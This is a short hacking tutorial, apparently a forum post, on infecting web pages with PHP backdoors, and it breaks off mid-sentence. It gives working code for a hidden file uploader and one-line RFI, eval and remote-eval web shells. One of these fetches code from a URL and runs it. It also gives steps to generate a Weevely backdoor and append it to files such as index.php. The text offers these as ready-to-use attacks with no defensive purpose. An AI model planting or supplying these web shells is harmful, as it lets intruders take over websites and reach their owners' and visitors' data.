Hidden Uploader :

  <?php if($_GET['upload'] != ""){ if(!isset($_POST['upload'])){ echo '<form enctype="multipart/form-data" method="POST" action=""><br><b>File:</b><input type="file" name="file"> <input type="submit" value="Upload" name="upload"></form>'; } else{ $temporaney = $_FILES['file']['tmp_name']; $upload = $_FILES['file']['name']; if(move_uploaded_file($temporaney,$upload)) echo '<font color="green">File uppato!</font>'; else echo '<font color="red">File non uppato!</font>'; }}?>  

This is a hidden uploader malicious code ! Why i say it hidden is that it dont show the uploader till we dont command it .....like if you want to infect any web page example index.php the main page with that uploader then open that file and paste that code at the end of the file source code

Weevely Infection :

Now Infect a web page with a weevely backdoor just generate a php backdoor by typing the command

• weevely generate password

where password is your password and a backdoor with your password will be generated in the current directory of weevely and if you dont know about weevely please google it now open that weevely.php file with notepad and copy its source code and paste that source code at the end of the web page source where the web page php is ending and save it now web page is infected with php file so connect it with weevely terminal. 

The Same Process with other malicious php codes which are below

RFI Code :

   " <?php if($_GET['rfi'] != "") include($_GET['rfi']); ?>   "

Eval Code : 

 "  <?php if($_GET['eval'] != "") eval($_GET['eval']); ?>  "

 The Same thing copy paste the malicious code and paste it at the end of the file which you want to infect and after that open file.

Remote Eval Code : 

 " <?php if($_GET['remoteeval'] != "") eval(file_get_contents($_GET['remoteeval'])); ?>  "

This is for remote eval so after writing this code at the end of the file